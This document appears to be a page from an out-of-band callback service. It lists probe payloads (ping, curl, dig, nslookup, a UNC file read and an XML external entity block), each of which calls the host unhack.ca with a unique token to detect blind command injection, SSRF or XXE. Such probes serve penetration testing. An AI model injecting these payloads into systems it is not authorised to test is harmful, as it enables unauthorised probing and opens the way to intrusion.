$ ping -c1 -p 00553061121f2c8a891727a5636cb100 unhack.ca
 

$ curl http://unhack.ca/p/553061121f2c8a891727a5636cb1
 

$ dig 553061121f2c8a891727a5636cb1 @unhack.ca
 

$ dig 553061121f2c8a891727a5636cb1.ns.unhack.ca
 

C:\> nslookup 553061121f2c8a891727a5636cb1 unhack.ca
 

C:\> type \\unhack.ca\553061121f2c8a891727a5636cb1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/553061121f2c8a891727a5636cb1">]>
    <foo>&xxe;</foo>